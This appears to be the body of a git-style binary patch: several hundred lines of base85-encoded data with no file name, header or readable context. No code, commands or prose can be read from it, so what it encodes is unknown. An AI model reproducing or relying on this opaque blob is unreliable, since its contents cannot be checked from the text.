zT`&LLcV8*r|FrAnabI@5T%_h)87f#@PUX#^>@6>_E6aA62iuIDJyOaqzvW^Va4_pf
zzXMSo&j75RmtP+&IK2g-&tpiYPd|4>hRjf&_W0}N<==m~{Pc?-C{O&#N%yHG(|hcF
z?1bNrD1gJE{L1fKEFb){<Fekz!5FiW@nat>F>VA~J!o)xXZ4AWHw|yn3ohS(|1UlJ
z+0T9-eUJW->?1tu{C79{5nD_qpK_wD_h(5dPr69T?b3CCF`U`12NKe4=*@JDIP>W}
z^xu>$bv@mJla<{8z)ksJ&d&xEuYrITyj&f!%~@Ri6`n)iq|>yX(lu+4F2(Um-(&YC
zKsY^9&6iz;27FO$TRyMoc?s5UAa~U%1AMY`ILrG?&-6kDPSDwWH@#ca5{3OJYt?hu
zA!s(~Wi^9WmZN!-5x_6kcy>w^)9I4Q%l<HC;J5qIQw0SBYRrSK%l>1V3v2{}SkHhO
z?foIudjL?eN0MoUexBpyUV>K9uCHLmxs4Wh!u!d3q$|>`Jp({#ZP3tK(X)ZE4alk>
zQb4ZQ?cql{u*}bZ=X6bWL_jw8LSK4uY;ruqpV0u>3YH}}nSP#@Wb}5x6rTrQL;{!7
zf6_VvN30235-q&Xx0Xs;K(eL>SKlXEnj1cB{?Q74pmTyc<9{+<`~}GKw_s2FXfFUj
z%qzjPHZmS&Yr8N0VMkf-^i*d@wbHM3&!$9l%jB*+7#~8~&{?xq8KK%>p3hcDFHidf
z?eJPEE!yMuLi`~K)@E<Xs7^+)y=IS)1?gvPO_SN*SCTWv^tex1)m9;(1~UL<+yl=9
z#KGtGxnK`=sQ35+j5j^aW5*>q#TtZvJ(pj=_YyE}Y`$+D@rv~|CZAa+f8#ylA&abA
zs@mbfX+PF`qG#G2nKv0@e;ZG;i|ah?JL@el+-HIb$ONE`c_b(UZDgn#zjf&CQW^4O
zVG>hP(%n4pk9%12>?tzJTD$J4Pkm}#d$Qd<_=L>GUcm>h>(3o?#3N*^{T=%oFQke=
zs^sBUGJ>q>eOP!YmG0t0^pZqkp6M%|YGA=K0@$OUy%s-&A7dt?td+6EUu+G~5e+ks
zR52jO+12)qGXl;07%yH%XZEi3!DH@|zy{9>ubFECfbgd4jgQaBoKvwPrNEQO7GFYu
z=ajoozgo}9nBxyizwv;N?iW5tqDF$t{hdDUt^;DH!mZ~SkMa2%-y2tw%Uo{^=GS}<
zRhGKWedG6WZK`O*Z<H#o>1Rzo^}bR*1-zQ`h#$#3vPNWFS}4k@#+&WTSo_@ZWvg0I
zgA1(pbDr~@D)U^62hj&TQ#w9p8d*bz8?S%`-#2Dw7XBqCk_6IM?@RDqGMnwAws+Rq
z<*fvMJp+3D&AuhClPnY33E(geYi?~)WiPD~jMEwzTdKR5v-R>_XBOGvd`}gOK1sru
zop09Fc>SC64-cbjDtq>?l%$V;7ta|B9&yIo!%DDQi&nXzu4&}%JYj1(kLxo-2V<c3
z?DEB1BLFtum{(z5!a&K!R1CC6@xS7)v^&V&#{<TZY9Hj5YxgB%_Q`QQu1UVq$L#$U
zpi$>9o4sN!Kl`&kTL;qj7|e#=SDJePY^_3uP|5vrFTc-$;3a_9LL&M+vnC5O2QGU6
z#DS4AAr$HKpbU801DAbtWA7YK1c#rcEX=+a>l_@w5Lq}IC;-I1EHTP+N>(HyWgdZ<
z%{d<nW-wmDdx@#f@`}=mzN!7+1F`1outLLKfc3sI-@WsDp0(G{&mornO-maNedpP5
z{VU~<Z7e*NET$Z2{rAju-dl13M6LipK&#ULIW$bfP5&Z5d%hzCtQX;#zDxvT4}#1~
zJI|tM7C{~Fr|eh2q3}a^x$iG(UHbK;uoE64D|=wui{MCE=^UJl1^0E&loa-RKaWJ%
zrMf{%lO!0T=L@e^)@TDfb`L!0{=0f{JACK7;aMF24nlIreNv{Z@$@=MsaNn?f2uX0
zhEMQPvKi4ihC{EsIN&LqDdp?HO;8KoP1a-#k<iAg@7vq&KQc3GVH}ZZo=>i!H{;W_
zggHlp&&`2CZCuIV&3*R;cZ3c-@0nKs%2d!uAK{+&7`*9OJKx`U%d?HGMXr~=2S&;)
z?<*H>Of_?4;%$boXU1?zPy%`-JDDO#K}uwQ46UUy-HdEyTpYsInqk{Y!YJ)BBtWZ0
zP1pHF3G%Wot>;|5-uuanPI(}_!QfAM;(*|#bH?`pQRI((=R4`ijsJJah1Q>|DqVe~
z9GN%|C<wh$+Q{6jE8{g0ugRd!eG;up(VO#-??gr#vpE_!8RHel5P8c97n$ID^S~<f
zO&{z81W;NVSic@q`UDw&i!fh5E5Kw*7WO=CUFa$H3k8vL&$`=R))kF8IXshs83V{?
zk>jrM9EvR-i!txJ&6uiDkPOv;uJg=h-(9NaVI0=Jl{Bh>3h60toc0)&aaIN_wjSic
zJm|)l5_wJrCMwt-6e-IHr?V(&hEDE*@6(Ih_XG-Z5Lw?u`1aAy{hm#KuHKMJl)f>z
zS9-H2qnONZ5uwR6s?q9bYOK9Z6FtcH%*8e4Pg!@SCZaVUJm-gN@J&;u*I5<Qe5$-`
zj-2ZFKx1+rpC=RB-o=NmaV{G_x;1BO-4nj&>@}Y_qYhi&W@}H*^<~ckL?<8=oda0=
z?4>VzY5DCp|MrXD^PczJd10}v_qfCHeq7f3;w{JE^pI@i_Sv=TH!3)N0;r6eAk_%4
zzhxcFwFHA~yt|t9$}Oj7;mv^nL%ViE=HoFKJ;xyqR>xV?|K>f{%Fn-HEWh#Ii{-w{
z!?b2Y`ONi6kGQ%jAO7=IdE<Kz%m4Blx0Ijyr?-`NeQe^BTaPL))O|n9!OEdv+mHXn
zG0=R^Hy%xc=%+Alf+x3@@{j(%!}7X!9F*H`SuTe@>;*fQyB`lrzYGgGz+0Kq_tkRC
ztDU4Dw_w>}0e~46uODk>;_9p@R$rxfS4Z68^c=+m5A=Zq<Bn{`@l<en*zwNk1(Amx
z@ZeIO>u}Z#%%Q`F$E7ik>+<bc?{xrAL!eK3NtcsS#~nVL68@`USm$<+9g=s9365t$
z^k==!7cLo2K*F9}<BZPZLhFHbkLcM0lcn01^*(4c$la9ozIJ0Q_dhUB^5UpG>LEwv
zd!Bp@NdMT2u9qi&{j}$O`RaIFx_g~1ei}GEONkzqYLIubcU`h#*sicJo)F`qldSls
zZ@pCh?EY0bJQy~?&IeJTdlx{xH)H+t0H$~0wzXIFBr-qy!0~!M>+v_rKlt9u<)>fr
zKzaP5ZtAIUT#e$?O*>=6OJlh?@$k>T`BM4VUtE~=oE|p7>8-BQ<7TkdBAs?jc#}oO
z&7i9U%B&OK56a{I%42`w2Y%oO-silgGXO}O;dD!9eH`PdaN`W(n~JU-kd%E&_wYW4
zy!&&?(i!N=$q+^3R;8zw=uKZkIyw6+PSch}R0G{OZ2>iL#<G!()0pYf?#a(aA4yh~
zEU4H^bSB^ln^5o`e?u~*z34!6B>=cygXT=1PF7L_w@1DW*V2<y{m#78J2_cjbXPQC
zv$AW=vG+l+CD>`Qm(z2bufl!Vm-Hkw^rC~)-RWqq17e$ZGJw%10lVhoKE~=j_h7>S
zDAVFe7GAOpy;_gSA$`3$^f`cm@o6n&E&)4Z&-hNGN2L$iDT#`A(7`;C(Ta{7%RsgS
z4K$mf0%Ec8+{4<no{t+PNI8A!y`iP|`30=0F`Gl1$GSW$zQe0{18=&Ixdc?fhbd>B
z3QV5scVnkh<Edo%1L)9OSyp_NexLzV642~lz6$Gue(WcK5%}5f^nL3WaK#!Vh}#@f
zT?@~8rg^e$_!+E!Yfn@`beW?*Z&|OEcasHgUGTF&RP^JY6_}rjUU9PH4R%_xjbpE(
zacs>Ne6a3?8~<+WgIj$RuCZ@ZCCXe9>}^c;W`OPNy(AIvxv;5x&gKNTCotW8ywA?_
z418oP08}(#)7d9zuT-&Tvrotc^With+Iu!2%V&H9$@V07h(zlJq+}1fPyCnmy*Z~v
zn){@6l<!X88Pnp*Sbf*NmXV)~clR|<{30mW-}ukCj9(xJzB32+_k8=sntS23lzj$J
zp%MQnSqJpPSKhNXlZ2E&5k96@zxvgc$LC2mo)ucKdnJOTQiAohC;E1tbarEnA2FY~
zSM#Y2srcFY)~^9#8Pj-~kIH=bUhV1F;<*nyKBeM~&mOdveR3h&8PH{|-N!muKS?`e
zsj*uF{6Z%8{+YR7+TP>iKnJwNx6S6_FReiW*3z?N!}r1S@y(|UIe^gj;6F(cN{a+^
zFvbKqMAn;Q?`w#U4}T|+Aig#)G6<j9^IFy6m3i<${E@(P&owV=ho8{HSmT$&x5kvR
z;r`D4O9h3LQFj)Q+o_llzXqOhFY7?Yr1!J)Alatw7u?C2W_-qziX?Odz7BMAwvt!m
zn``l-Is1O_yx>OpPOAzqB=N&DA`7gcdAERr>NiVJjI${6NJUV4G=WWIa7sz{39J6)
zKXVV~R`yDIHv@tJ&5?C^-x|?F$mQ^md!w7GG+E=GKhezkwi3~Gz2Qv8mSl|P#~K3M
z_xO~5txxo=v?jrW#)S6;v_-G!v7Q!OTlZrUtH_~NRi_3YCZRJph`rPMyYP)4GTvE{
ziZ0GW0eZ%3j`nLRFZ95=wMusVS(3+`eE{;5luz(UXlpEOuU5H{d6A!eHOu*4;#+f;
z;=O)-QmugOBX5F>1h1{tM1T6He|in>oVD-p{6#o&G>SybeR`lfzb}<k?O!S7F@FVg
z*#%Hq;8r$g4g7dkdJib=Y7Fyiy`>uOzC-DsXG}X-yKKU`$<lKr+0iZI=u~<+7+U6E
zRnEiEyFgImSpxQ#n0lV6tHe>t0xW^k`#@hb>-)Q&=asVBgijckz)$33|H`JHKcg3H
z`*_oO5Txj514Wse&lzX{f<S%0NXS_)bk7+3Ovcc|W=b?k-%t3gK>)rhSR=}!XEj5j
z9wLNyN>TMM`-oua!3!I_^*CAtb(*4B51#(;3y+{fKt)Qb!!jU2J0!-Gla6tm2<?<F
zO6i4UbEYI|O5iMki+$ii%7Xb}D0o)-?W8=h!-O)+Fv?!_y=J&=^|4PT?R;P3TLRHO
zGxtP6S`UXP1H>~OG8CWmG!M|$1OJ3^%9{0Hs8_%zhi2bL+<r?LD~DTvzyt@(`vEWU
zcFKHFGCjxjDMf2u3<w4?!&LdUl-jTs0g}@L{VXpu>&JxOQ(i7F2Uvh*bD&h_xqZ)G
z1~4TB9jveWF!ZcLB5YfQg7Ry>_G?2NIs5ifdd6_L;8{urLpq0Zcr*JT`#G7m8QZ)K
z0e+ywks%xmi~xr+ezbPxipS#M;DG4&toi3~#&h<rHAn<&%b=(VB)&>{AM{g(h{EC-
z{n?1m(apUa(v+(N5TRwVx~+Zscg3kR?=!rstP9>x1S<Y_t@U(XL|Kb$!FL=-QD~!}
z_KF~WL<4)peel2gdrr!-MJY`0?<HjhJ!F!%o@%8Tzhg>gr$o0k!V74@8JCFj>oq%c
zsAHb@HTD_#&sZ`(ift?BU+<UlZ_X*o89C+0+$e?QuYF-2-Zu{XWX|TtaIq&jp(y#*
zab5<WT(v)z&SSJfmy|C{2_1i@yiw@lx#o^X1Bl|$I5s&f%+WZ}8}GUoBbma>@NylU
z4ZV!tJVQs%!*@Q5fgAaU2le~OzM~7p5olgfs(qGT<k64FB*sq4|8bf|X4%t;)a+#u
za2;QmzcZYZ(%cxozKb`=fyhZ?Pq11lE+oqU&75~BGtR-sspU*<y_l-w$URa5E7AIK
ztogk;j;oC4^zj+zvFA3Y?YbI=x%)nO#Sw}x@fewyvitaIqTy;9*Z42~#lL+1pM31&
z_f#WzqfGX4LDwFfz7%k}0ao$hUu&7urO!5-!6CO!*ZMgDr{`eOcmnf|yPW>RZd7vI
zL@Tb|DCK$IbhAA1tH$!)j~|rF*N0jzc9`{|zH#kxxqj_R?M3?fKe$-_@3&kkzx<ZN
z@_+s7Tgw0OX1`x5Z~yRN8K>#ivfJZO9`euzPWNTKyHe!9@OORWpgiMoN9B<Z8;|><
zmJW16gXswQ^>-eWpZhhXs1}kfw=#%_9f_I4$*hO6JL`E4PWNS-(c$K#=ZfYIUbX<r
z90QZX7SOr~j-OW6_q1fvq3i(Tm)T$#hAq76gfb^NwL=H8_Q2s*M*1FbdN>O#y|`XO
zS%UkAQ?jQ|%WWMNDxQxEg_?(9m;uGZx*YhB{>8(>cv|LkS$}?V-Bu<2v8yaSZu9Ax
zl89Hsa?ncYn6sjW!&VT&60fX=WBFCV>DnvwI3VL_`nh~<(&MI|hu?Nop8t(E%76ac
zD-{g=o;$CWM?ZY}1~Bycs(aR0b{8Wbc4SVk%B+F<?DwOEdiGsb@Yp?1`+!@<@|t&E
zEPwQ=RW0p3_8h&KIXs>@^Y=_w48y748P1V{?Yltf`>qV-_Gv!f`;=?tfBL@5<;Pxh
zr99y)Zysk#UmMO*Z=lK9gW~|8dp~rc{NO*nqr7$cSO4pc3JUXOT|&@@S@!fo<&Luk
z0&K|hu1dk-#l!ODk9_1WO?tw6=~JAH&ULy+O7YSqfgvfANsn{Jw+zav57ArwOGl$a
z(VOUy^ddS4JA!`Df@AByDMOk-%>*P1w43xTI-D_7yB1&|!-~z!{-9f>f3<Axmfcr%
zT=(Q3lLbY8q@U5r=zwfEIu_u9ZbrXiAE2f0&|B!t^eA=>aG~kUH48G;XHtnMJ_Ddn
zDgvQPvYY9fz@P+5^54;`(8cHUD(@>5jb`Z3s-o59a&L2?6U!Jje{`g?J^%U7A6qbH
zEnUjy6R1kpW2?pY=$;9}WqY*@?;#*8Juw-})}QVfTfFrLu6nn12mbQ)uv?7R90b-1
zrsa@DPrx4?(zx-DHK5-b1AE*2w4_PUJHDc$qYc1?Gv8dS7oFSKJSYAm{xEY4_{)Z4
zH?oWQf!GmxEL$5oz3201v=ZMHs7)!(-k-xkO>d^R;w?5~>{@n^ds_$e$EVMF*0a`u
z%Bi-8w(L9CrXm`;CW|Unl3I`UdSWH9fqrfu852HcAMhI`5dpnZY0RFoPJaAu?(t#7
z@8CW6N2liNt9-17dMjDK2A%+tcn3g=Pnw-xZINW_hxgIRIN6=?--X{>nf_#KuR%2Y
zA3qd-3tFTvvoWQLr1#y+Jnb<u1(=&GLVVA@Q@sse+n?yy`U6++BH)lQ`i}7dX6;4q
z;rZ-eyoWBXH!i?wGSux6b7>{%>%K}Q2>zb<E?kG6XlIPcj3?&=YXDh+$JQ$4v&jVC
zkFUft*w^M}kK;G;3_qoUX-aV$zxV7nG*21rRDnQu`=$jQSAeF0(-j1=4ylBd)_U%N
z|Hu;o7s+^SWxLmH&y17b#J=<0RI;1<N0Wh{YKTeXAwSRyPYWI~279;npWzkqJ$~lk
zA@M~eiN^iWbfQfK)qL0I=EM)ug6pd-YhS1IZooQYi7z>zH~Al68Q-9_HT1q`0)m}C
z?vs-Lt;OQHFR`^D>zseqkMBpDizJ-6CgthlC&e##lYH)d;l}JU=YjQ4vXODyml96w
zk>-~iB5PWY@^w`Ve4aKAlMJi#KxcDAYxhdfy15Giah?5TePyxR5Bv<~2ERcYvJh<}
zLp_r$nVwVk5q^np$@z-5@i*az*6X>%XJu`yi?OCfsCBp2&bw6IO{LHD>rQpMB#ET&
zb1DK_2eJddSUck~o>ua_?$5LvbWi)ndF#Hu7l4%Rkie`yXveb>Y{2KG$GDfZ3TTX9
z=pW7rYtN@<kH+U@{^>ct<V!T)Byz<Mn2h**?#yvc^q5_(*wg^y{=VjJEaWEI`7xHX
zkC0eF=fW5CJba(TQ}acOmPAp3<+=Z_uNIl-;TL<7Un%{|gE68zdXYEekMRb}ia-6d
ztm*jl{NU?U_Gv!1A%43)iENtBkcz@|Ue8OQO9C_FH^w(UqbD_BeFG;-5|n=<Z=4%`
zH<mRxeb(1Jf+h{nDIy3GAbOt3ND)sqb6@WFv{#}T5}A`Mr{3Xi!hQe62z?9b83Eq<
zYm$YU2%ePW3=_{8KB?=;=t(wV4{9euwx7GrnTV+kM?x!~a2C*aUb6D6FVC<!l2O<L
zPneog*Ow7q0<Q^5^LCJ(r`$I>Met=^QabmnFG|%M$RLm?&VAq0L?;q*Hoa)qCEiN^
zh-9E9Q+}SYoeh>~wgwzjr9Y9LOY3HH5mv?kRAgLGyse*oL)b@Av++ZhWaLH(AgF*P
z`J7OuK*agJ1Om^2+dj+R!9{ow1SwT&Ur~mVwH4zr;8)hG=i>;g&@13Rfo(5P7*f{D
z%c1R{%-9^#4t^z40u-c_YND3?O~L8un`pxr0C{<~gOu#)oez;u4p@p#GB>S<@@Lk^
z-}ogZoaW$q02Yc#_TId=dX$ExfE2QTK}ErG$l6EgW4bTEAwdA>$Pu6fk^{8g!_Dci
z?oVPZ&^0Ax8OmM^t)*Ab8wp?`i_C*#1>M3cePE0|AgbCr$QW+rmP;H10U&*zzOeW`
zJQL7AGBhP&dgCnnNEtNG4Iq}@tj1+eB`_hqWGD^+iF44Cb6NY)E{={U2Z<!~9fnEz
zpmP?q(kw$Vwo^S|ez?0ny-8$0q+AdlVnq3uQkrbmD2$1YPt^hArP!ndJ4I6@WQ(R9
zQmTo;(#jQ&;Ysf^fLxPE_ob>9iRexQHu_j6?>m<%y1fC#*^zQr#+9=-!4ugR_7+8o
z5uU&s>tIhO>(*XPglN{8b0#IwTIT&)nQdj;hxCQvtPohD&s6pteqfxto-&tg70*b?
zpnku$==gORB;)d4BE?gBy!9HZ`-~Dsc9WT|v)2Nk+jFT15rEtN#6J}E=mORgJve3(
zNYK9+BKAJ{Z=U1_gFAsd3<vu*C71A~`xuvdSsMy+qWJMSV+_5GH>KVf-3$WvVe}gh
zzHhzvh8Wq+=o(TEz1R8DkIpsDE(R7ko9ykBgd&&GBqb@c?i64AVP5HPl?oE!spxz)
zi*EYC^9e%Zz(9X;z`a^or|MusL;Rh<p!E61KlsDnJ^vVkAQ48nIi~!&`EfQ{WBbV1
z;@n8)jC0IA6Q%Ama?ifBZg@HUs+|7}R6LQhh)i*BvLV%RjQyQ|@cYkx-~0aP>Bsx}
zsOf;Ky;)(y1~`4;By)Oo{Mof@0jGDQ#I=AZ+0)}V?!^{10JLG);p#tuti~NsfQ;#v
ze(TNhW8ZhJ-1F$8a$}n62S0UCE?+y&YF@SbU%srZ%e4w9Uur)`<Enn&<8L_}YTwf}
zUN#8ic}Tf%cyXNxJ<I@3%daHupFc2^7yNrS%W!ixjXNg2>w^d7M_+ldTpNdSxZ01k
zY=TakaAu!<w+voyBSGt`-@^$YiT^+Qx%)PQ1%|VsOyenU4ztq2eSYWOlDNZs2*c?a
zx*OMS_Mu%3bLx#dLFQq0_4X%c09m(4u?^@C=Sxc64g{F@k=}P@P~-8W%y<27b<#8W
zq$)yNx9tBGkP?1dXDZK<b+>wl_v0M4d2^f<7MQ2p4~v<-v%2-`%<*xNfri#|dL`?C
zU3Ro84_sZ9i<2C9(qnFx|KwTM%8&f}SIXbI`&#+tufA4pw_#O0xY=hm4+{w9IIn-c
zdjsyOo>2c@ZDiJNq5T`roj$)fmN&iUu)O`l2emKrMu^3{nfM$O-)8+q8S>yZ{rP}t
z-@881__LRX@{mho`GIf0TK?hRyubY5bFP+0e@V-fzA>DAqxHcJw~gg<(>nj$>u)Rn
z#Vc+v@B7rGcU<(*>LhD<HP4*x0uSbY?*aAa{5h80tpIvaJ`5+>{aR)`;qi}q#dOZU
zk4__F4gf>%rRO@w>1}ks)?%rGq4dYt;q*&-KV5_FpVmWkD0)He={kN4I&vzP1?X^2
z`#Ys$>B#gu`cCY)z8w;MhMs3kuJO#4Sz2{)cA~NK2~FQ0Q%btEFIt!DrT4IJfZyyC
zdJ}z-9T)&7t$kAc$$05Xd`-s3#&M1J*|zKj4t!@@baQ$lTLE2CS%#iOw=y?Cy7BPe
zdFfy5-qwN6q!g)nnM0h@)}q<UV=Bba{j5a-*xjFh(YVktV0!FIV{l!veb83o0NS>y
zJheSj`cPUU{J=&AX40qm8$35vpc1r6uazC@+1A;bHUMs&L2E7n1=xA1+~j+n3-ku4
zC8>gLF2l?B(qB8h(ebbKl1ZElV0=eU<skMRUdg^`<+0a(GvfhNT30lS9fYrdmY!uU
z^mJ=Y&rgP^vD2@O50L5o*sHD7`MNZHGW6IpfKFhs_t`4GZye@fyuiv-(~9459!Q>6
zZ0TRkk6}IHuS83<VJGMXZeGcfcP-w*FKjD5(FPJ%+Pf#+-#$xVs%Nmj8u&P*{5jpf
zeXsf)>^XZadn3Rs-cHsW-;8;aOvd3pXl%W_hsO9O{aKCYb+3C}%~Z5!?XT7XtiESo
zo16V=U0McwN?eZt4DEUMw|DV&GE&)_X@wUXK0)0{=J3Ap<Exa!Wf!T$fZpublnzcm
z?(}KK!+68mH@mGSzqK(|xthcfdk8P!DcO){+bWaRH8jQ~ng|fVFXrPuY_ybW_e?-o
zfG2jWv7v3NR5rvH>0a?4k%wfN{hii@@rwbb$QiuO&QGON&ugWoD;)w3p`CjHyT}AG
zFj<Icxe&TrZ{t88YwG^-vD#<Gil0-;9K9mb$V@U354i8pHanVozqM1W-{)6ITeA34
z_~=xbuqI^vbdSor0Z9{Jky7(%wFS8KJ^YME+uGH8#$Sl;<OrH2C?uK1{HexouQfZp
zu4DSMyN7+9^CgujQzbC6%3Q2X17>TWj59dviofEgai*IKIwT<>J==|y42<8`eDJh!
zlI8pqEs(3qnk0%fKPUf1J$ul|`rz;Q*U$uiw&bq$xs>WGcolD;so*qo;NxzY!t0i;
zITJjC9>SmKJ1y92T|EL%qzAHj`ksB4Ks$Rk{e#^za?!o5uX839T=}ca-FNNFRR4@G
zDD8Wi&$h}sb9FsBnI9RKzUirQ5sb!nty`+92Cz+{l<V-J{WJIP<8AN7KiGP#mzM0Z
zQNh^WqU)F^pIQ9VX*Fc+?M0=!lO)l%7)<qH6$+ePS-&KDz)4_TeQQ^rrG!7)kOTdA
zj1_;&@+Yq&FUUPKUTT}U>t*c{;F7bR%uSWwjK{j8SA6bW5^U9Z<`^28LdM}yyy5qK
z$#UpmKO_)x5u8qT-+VzaSb&T;8s{nXOId&zD3N?kDA!U!XCWYAn-ZQ56`MWfPWNT)
zww}IKP{iTdr|qZ2WSDRc`q`L$IqQ^SZ4KAg5gv0u*8Kb4*8%JM`?s=`XU;}GYeu{K
zT3i`D0VdEmnXecw8CDoAz+id^ECmHP`~vKzj5sDs#4Trc4`%d0fae8tI4#Q<O;eV=
z&zKLLJTv!Q3LbE96R0^1clB>3sPIKLoBN!F4}C9StNEe@LF`!$p(so#aX}%lPbiA$
zoIW7QI__TtTgv(pxD224GNBaNtc;I&f9(0*OfM=zAv`aVH(6voC}(YBhy*mWo(|5G
zbm{j$nw!@=$ijHizcpn~6BLsD!03&!+y|wghjBVADRtJvv(xuB{dv%=0SHy$L<jeF
zEk5kazVwC&!5R?4+5sSp6>mpbqZpWnaW7?_8dL7kM-q}ROXWoRU>3$(WEI6B`>}6%
zFn_tPIk(<ZwHHYLd~%t9M;~*hK%oVh$6&F}Xq0Eq%hy}qRvx${W72og#bKMMrO?5C
zch439R~2u{v^i58{hNS{T;m=<sg#KBgL48LW-kX^@0Eu1+;z|<J3D89f33N>=MYY>
zX+XL;<0tn>nWtRmdyFkIk`YY)+belKev5J(85!`3QEVTgEt*(^KA_1x>~+RxdRu!Q
zz}GkfK&N+B0;=jE-1eF0X3yYJP9xW%2_?kdK!4X!f<l*;RbCZIS*FR_#PjyIXHY`Z
z%O*Xs0@}GpN(s%YIk>m;I;Eb_i=xr@THz#0AON`~o1^t>sb_$3qNOzna86dD)g+6n
z!@>J#O9{i5&foN#GXDU0=H^=ScTFOj6F`*g4s&r011ObOWCmo8WMax0iQ4XEqvzrs
zb4(Q$^J0LtO#511(Rf?w#350;zK=KYN(<<ywDr7Jda$0Ueb7|`_Pl)GUJgJ?e?a$?
z4a~Sxru)u2?_8I>Z@rA`er2G$4zJ@cK{nQ_m5WSYqG|vp!ZKyl@ve1tKG-L8u4F~{
z%skD}ckBU~=y)D2%*!18j{e3USxZhBzi~Pf(kq<);k>l>@D{p}Z>>k$y2O_`C%dNh
zAD!lmheB_1CM{m<<rqpi8^}+JGP;u$c*ASr&C1)^3!cxZgTBs(J}R9|^E)1L&tyor
zK2gMUTleAUO%NU0CorwGj;VV@Fi3!DYm7#3x%b`|eDtG#^0X=!#?9>Lld`fWdCdX8
z^qK`uU!>nw$Np;VWxsZ<FYCR8T#V%wded#UE`!rsAX)=a#|2<zoadb`e|Y^yDR+MT
zQMvQ$j>=a|qU8Bcx>=s~_?zYaE2X^u6UQJmK>GgsFV{WM2Z3$i7PCxJLrPiinvc5x
zPW%1h;aL9gqpR}h$v%Dj*W8?xqLx5;>sa3K?t}7Uzi?RYyLy~uy@h5hfX%~j@{}$3
zZUeuW<>C&@$kEV&)YkJ_Er<WPbtm5ScgHy(*TJd#+Oh7(!%hdVhB-Ld0YT$_KyAC#
z_9h^|378LSJ~|!qo);M(b|Z4bE;xCKozI56)dbFAyA=5x5FQ&34D*pDYrHEdyaqIf
zO|UK7bd|o;s~NVM-0X2V;ddFxYrH!ya?^2M{@5eln`qv!1O6NLWSJiaYftv`c%fXq
z!3lRzzHZu+-+kAO@}n=gUjFVgua$3o%+2y87l5Hhli)a-@qAzY`Dh!QUS!&_ZT4Y1
z%X&!0_i(l#i<7boC(oQrg5P-eg>vs7U#Q@87k;q~eD@U)#(n$j9DS3|5KS=*J2JD|
zUc5RT7xz6dlt)bJ@!!7ZYWW}k!^`DAe&*HkWw%cAeLyPpk`O$Dz_?{B4@}p->aCZ`
z-}@)GmtT6zr5cQM+oiG&#2QvZS5|wRfz!QoNQV9%K{u~7Fl<-0C}pz>#YQ>s+H;zN
zSDTcJzdY%F@44%)yM~<mbQ!u@fH&t9(2s6P=Z({v^N<sn9s@8;5(fu4r{(jW_q;K-
zHisiU!TWTuR02wATe>HmiEh@)Ue;&F|3UAfi_kZGmh3`~Xya?ucm@C*U54%NGjj^q
zlptpBC-{`E?sv8ZosvEVl%U4|jXB`y#|?<B_6Pq+f^$>p$sE~u?h$*5?<1{MjGfI9
zKNh`_kB2U2jO-ZtSLSbQd^2=uG>hFw|KmueJEzAb{V@p&bV9U58#X%nx^L4pORCz$
zr$Rra*BK+dHh^lg9fp?8Sifui6EJRV=!f^*b5GS7*#xbGcGWM<i!V*dWi~21&Nu_|
zxF!{p{EZjPjcsaeQyIt@QUaSkNxzT%l}dNkw&}&y{y|%|Q!=ueK3%f~(~gS01&Hxn
zJi+IZ7FX#Lnx3<OP~-Jks_L05pGGUIS_3$hEjIUQoNM0{oty4V@5ck74Pe(;jmbDw
zIJ5TFUDjRz&9queyPcHBZq=`<?b50URQltI_?(iR&NeWHR)J~=t<zuAIP4K~wkB*H
z&q=T2WB^8f#J)^bD7LK%1_9kXCwB6@$0r`cL-q#njf_BxfNFR?EjisQpp<)~6<Ux*
z{*FE8Ux1T)@)_ZIYm*+acvCjLePIkh7vs0)c+|d405e{7t+De5@v-p}`Q7*Zjt1;o
zw2VJKK{n0TRl#y{6v$zHtOL5I6_R<gYwZi`Mo!2kMmsWweaNOVH}|j}EfclM0yJeq
zr0+60g`e5dWHAtp%?Q{F5X!G1SOK`+s<G9UTE?1y^d56ybE6Zw^P7+Z=7wehjgrlc
zc7Qr_v<Boj8#;D)tFBh*I;~9|Kbj<f+Fk@qkq=3vaBttSo&oi(kFn$3^rTO<H{(FZ
zR&Kunp8{K~2|ANwWKT+o<2`(0k9%IKDv~{93;%a2fwaV{I)C45XHWpv>i>v856uIX
zvbD{%$&k^yTEo7ws`YNZzcp~ydbS4)tNs8#$&!x@Nd*XVM??JWtiY=c^Q!*VR5;AN
z$=LYx1<Tmu_8>e8ol>oiTy>ra)Nk3!wNje<rP3XGB_Pc@+3#uF;J)}fNkU|$YvYGT
zSG*MeocraxvX7jJ2|#iWV@sf#Ysj@E+2ouMSns*y2YLj=wvVi-zy*86y1TX|J=ACM
z1KSs53VDcz{8xC+c#X+ka$kGReVq-xKRT_~tOx!~B381F@ey7yuDQ>gJmD{F;Cz)M
zNys#oRQ2;p^*?LY+C6L};h<$IGx+I!(#f#LZ+OfeLLcX=J%ksXXXb$ie2))Bz=^+8
z-PNA7XVW6ieEe?isp=6wRT6K=)wD|NlS9(m-1?gj9{i5)_>P*<ZZ4??OV*|OaE}34
zyHptrKY6b6uvPV`dR)etDh*3mUXrbxgPuhW7;o?idq=i?0t}PDnCdM_7UZLDl~RtA
zo|eFA!jVwuvs05HCDN<!V{n$&97s&G5k~II<SxAkwe-Rv$YoBs-oyyLIA!~L1gx>B
z=`RyNE*oN=w!Z+VZ<Oh7C7Fgq<n@`1HZ5g}P)L?wUg<O1zZ^=GzP_*L7vg1p1UjH^
zo}HOUm1F?fSOG_t=#ZxMgb-ec0QFr=oDwJ)xJBb_&1GL%*#N49R-E{AdL(Ny0IqQu
zv!8h|g3n~!hTglLnbO=TUz$jp(_WrI*ih7LCciUgQbIXp<S9A?hCPBGlF4avCtGp;
zBGfYG771N9dK9^UC4IT+WQ4^DYhLLwYNO+?M8YwE2#N$^5LhvI@O1jS;`x*vng^!L
zGwkg}d#^?84e7J)@N~#0+BsR>$u{rzMgmSexAkyXg8+$aGcN)y!j1y#fE0+}Zwi3y
zM)xwFL?coD5{VtqDP>r!hxh&6`u~*lGm4WY$`?A~(e#FLz$9{r!GnL2-Dkg~gtc|V
zW5(Nz=2~W_$<V#M=o1J-VeTFB6qd*r<46!dDhDt`QXPOnPJZ{1O7=YE)pZp97?8e?
z4(Od=mR^1($R<4CnK5?LZ+Fhut-n}RHk-p{NaW$Xl0?5ZJv$}a9NcIgx#iHaFVHyI
z2pJps;WL3bDN{qaqc|nd!hR71gD#A3ieQ{I4o3H)sClL{#P1F8s&cONC8-8~dWid8
zYb8+Ug&$ki?OM(xn1u|8BOyIXBBxU}B^kX5ut-!S!#6-?`u-+x$9E_rWKSFei2}yA
ziT00yiN2I7_d}y7AZd#+mrbqgT;0<YbnlTV=49`*GCWllxgSN%{3*8yAn+Y~Dd$Me
